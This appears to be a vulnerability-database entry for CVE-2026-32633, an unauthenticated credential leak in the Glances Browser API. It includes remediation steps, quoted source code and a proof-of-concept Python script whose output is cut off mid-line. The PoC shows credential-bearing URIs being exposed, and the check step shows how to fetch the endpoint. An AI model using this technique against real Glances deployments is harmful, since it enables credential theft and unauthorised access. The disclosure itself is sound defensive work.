---
id: "CVE-2026-32633"
kind: "vulnerability"
aliases: ["CVE-2026-32633", "GHSA-r297-p3v4-wp8m"]
title: "Glances's Browser API Exposes Reusable Downstream Credentials via `/api/4/serverslist`"
severity: "critical"
cvss: 9.1
epss: 0.00491
exploited: false
status: "open"
category: "package"
products: [{"name": "Glances", "fixed": ["4.5.2"], "affected": "<= 4.5.2-dev01", "ecosystem": "pypi"}, {"name": "nicolargo glances", "fixed": ["4.5.2"], "affected": "< 4.5.2", "ecosystem": "vendor"}]
ecosystems: ["pypi", "vendor"]
tags: ["cwe-200", "cwe-522", "glances", "monitoring", "package", "python", "self-hosted"]
not_affected_if: ["auth-required", "default-config", "no-browser-mode"]
published_at: "2026-03-16T16:35:01+00:00"
first_seen_at: "2026-10-27T16:35:55+00:00"
updated_at: "2026-10-27T17:03:04+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-r297-p3v4-wp8m", "first_seen_at": "2026-10-27T16:35:55+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32633", "first_seen_at": "2026-10-27T17:03:04+00:00"}]
---

# Glances's Browser API Exposes Reusable Downstream Credentials via `/api/4/serverslist`

When Glances runs in Browser mode without a password, the /api/4/serverslist endpoint returns server objects whose uri field embeds HTTP Basic credentials for protected downstream Glances servers. An unauthenticated network user can fetch these reusable pbkdf2-derived secrets and replay them against the downstream servers.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:Glances affected <= 4.5.2-dev01 fixed 4.5.2
- vendor:nicolargo glances affected < 4.5.2 fixed 4.5.2

## How to check

- Run `pip show glances` and compare the version to `4.5.2`.
- Check whether the Browser/API instance was started without `--password` (`ps aux | grep glances`).
- Request `curl -s http://HOST:61208/api/4/serverslist` from another machine and look for `uri` fields containing `@` credentials.

## Fix

- Upgrade Glances to `4.5.2` or later.
- Until upgraded, start the Browser/API instance with `--password` and restrict the bind address or port with a firewall.
- Rotate the `[passwords]` default and per-host passwords on downstream Glances servers if the list was reachable.

## Timeline

- 2026-10-27T16:35:55+00:00 ghsa https://github.com/advisories/GHSA-r297-p3v4-wp8m
- 2026-10-27T17:03:04+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-32633

## From the sources

## Summary

In Central Browser mode, the `/api/4/serverslist` endpoint returns raw server objects from `GlancesServersList.get_servers_list()`. Those objects are mutated in-place during background polling and can contain a `uri` field with embedded HTTP Basic credentials for downstream Glances servers, using the reusable pbkdf2-derived Glances authentication secret.

If the front Glances Browser/API instance is started without `--password`, which is supported and common for internal network deployments, `/api/4/serverslist` is completely unauthenticated. Any network user who can reach the Browser API can retrieve reusable credentials for protected downstream Glances servers once they have been polled by the browser instance.

## Details

The Browser API route simply returns the raw servers list:

```python
# glances/outputs/glances_restful_api.py:799-805
def _api_servers_list(self):
    self.__update_servers_list()
    return GlancesJSONResponse(self.servers_list.get_servers_list() if self.servers_list else [])
```

The main API router is only protected when the front instance itself was started with `--password`. Otherwise there are no authentication dependencies at all:

```python
# glances/outputs/glances_restful_api.py:475-480
if self.args.password:
    router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])
else:
    router = APIRouter(prefix=self.url_prefix)
```

The Glances web server binds to `0.0.0.0` by default:

```python
# glances/main.py:425-427
parser.add_argument(
    '--bind',
    default='0.0.0.0',
    dest='bind_address',
)
```

During Central Browser polling, server entries are modified in-place and gain a `uri` field:

```python
# glances/servers_list.py:141-148
def __update_stats(self, server):
    server['uri'] = self.get_uri(server)
    ...
    if server['protocol'].lower() == 'rpc':
        self.__update_stats_rpc(server['uri'], server)
    elif server['protocol'].lower() == 'rest' and not import_requests_error_tag:
        self.__update_stats_rest(f"{server['uri']}/api/{__apiversion__}", server)
```

For protected servers, `get_uri()` loads the saved password from the `[passwords]` section (or the `default` password), hashes it, and embeds it directly in the URI:

```python
# glances/servers_list.py:119-130
def get_uri(self, server):
    if server['password'] != "":
        if server['status'] == 'PROTECTED':
            clear_password = self.password.get_password(server['name'])
            if clear_password is not None:
                server['password'] = self.password.get_hash(clear_password)
        uri = 'http://{}:{}@{}:{}'.format(
            server['username'],
            server['password'],
            server['name'],
            server['port'],
        )
    else:
        uri = 'http://{}:{}'.format(server['name'], server['port'])
    return uri
```

Password lookup falls back to a global default:

```python
# glances/password_list.py:55-58
try:
    return self._password_dict[host]
except (KeyError, TypeError):
    return self._password_dict['default']
```

The sample configuration explicitly supports browser-wide default password reuse:

```ini
# conf/glances.conf:656-663
[passwords]
# localhost=abc
# default=defaultpassword
```

The secret embedded in `uri` is not the cleartext password, but it is still a reusable Glances authentication credential. Client connections send that pbkdf2-derived hash over HTTP Basic authentication:

```python
# glances/password.py:72-74,94
# For Glances client, get the password (confirm=False, clear=True):
#     2) the password is hashed with SHA-pbkdf2_hmac (only SHA string transit
password = password_hash
```

```python
# glances/client.py:56-57
if args.password != "":
    self.uri = f'http://{args.username}:{args.password}@{args.client}:{args.port}'
```

The Browser WebUI also consumes that raw `uri` directly and redirects the user to it:

```javascript
// glances/outputs/static/js/Browser.vue:83-103
fetch("api/4/serverslist", { method: "GET" })
...
window.location.href = server.uri;
```

So once `server.uri` contains credentials, those credentials are not just used internally; they are exposed to API consumers and frontend JavaScript.

## PoC

### Step 1: Verified local live proof that server objects contain credential-bearing URIs

The following command executes the real `glances/servers_list.py` update logic against a live local HTTP server that always returns `401`. This forces Glances to mark the downstream server as `PROTECTED` and then retry with the saved/default password. After the second refresh, the in-memory server list contains a `uri` field with embedded credentials.

```bash
cd D:\bugcrowd\glances\repo
@'
import importlib.util
import json
import sys
import threading
import types
from http.server import BaseHTTPRequestHandler, HTTPServer
from pathlib import Path
from defusedxml import xmlrpc as defused_xmlrpc

pkg = types.ModuleType('glances')
pkg.__apiversion__ = '4'
sys.modules['glances'] = pkg

client_mod = types.ModuleType('glances.client')
class GlancesClientTransport(defused_xmlrpc.xmlrpc_client.Transport):
    def set_timeout(self, timeout):
        self.timeout = timeout
client_mod.GlancesClientTransport = GlancesClientTransport
sys.modules['glances.client'] = client_mod

globals_mod = types.ModuleType('glances.globals')
globals_mod.json_loads = json.loads
sys.modules['glances.globals'] = globals_mod

logger_mod = types.ModuleType('glances.logger')
logger_mod.logger = types.SimpleNamespace(
    debug=lambda *a, **k: None,
    warning=lambda *a, **k: None,
    info=lambda *a, **k: None,
    error=lambda *a, **k: None,
)
sys.modules['glances.logger'] = logger_mod

password_list_mod = types.ModuleType('glances.password_list')
class GlancesPasswordList: pass
password_list_mod.GlancesPasswordList = GlancesPasswordList
sys.modules['glances.password_list'] = password_list_mod

dynamic_mod = types.ModuleType('glances.servers_list_dynamic')
class GlancesAutoDiscoverServer: pass
dynamic_mod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer
sys.modules['glances.servers_list_dynamic'] = dynamic_mod

static_mod = types.ModuleType('glances.servers_list_static')
class GlancesStaticServer: pass
static_mod.GlancesStaticServer = GlancesStaticServer
sys.modules['glances.servers_list_static'] = static_mod

spec = importlib.util.spec_from_file_location('tested_servers_list', Path('glances/servers_list.py'))
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
GlancesServersList = mod.GlancesServersList

class Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        _ = self.rfile.read(int(self.headers.get('Content-Length', '0')))
        self.send_response(401)
        self.end_headers()
    def log_message(self, *args):
        pass

httpd = HTTPServer(('127.0.0.1', 0), Handler)
port = httpd.server_address[1]
thread = threading.Thread(target=httpd.serve_forever, daemon=True)
thread.start()

class FakePassword:
    def get_password(self, host=None):
        return 'defaultpassword'
    def get_hash(self, password):
        return f'hash({password})'

sl = GlancesServersList.__new__(GlancesServersList)
sl.password = FakePassword()
sl._columns = [{'plugin': 'system', 'field': 'hr_name'}]
server = {
    'key': f'target:{port}',
    'name': '127.0.0.1',
    'ip': '203.0.113.77',
    'port': port,
    'protocol': 'rpc',
    'username': 'glances',
    'password': '',
    'status': 'UNKNOWN',
    'type': 'STATIC',
}
sl.get_servers_list = lambda: [server]

sl._GlancesServersList__update_stats(server)
sl._GlancesServersList__update_stats(server)
httpd.shutdown()
thread.join(timeout=2)
print(json.dumps(sl.get_servers_list(), indent=2))
'@ | python -
```

Verified output:

```json
[
  {
    "key": "target:57390",
    "name": "127.0.0.1",
    "ip": "203.0.113.77",
    "port": 57390,
    "protocol": "rpc",
    "username": "glances",
    "password": null,
    "status": "PROTECTED",
    "type": "STATIC",
    "uri": "http://glance

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
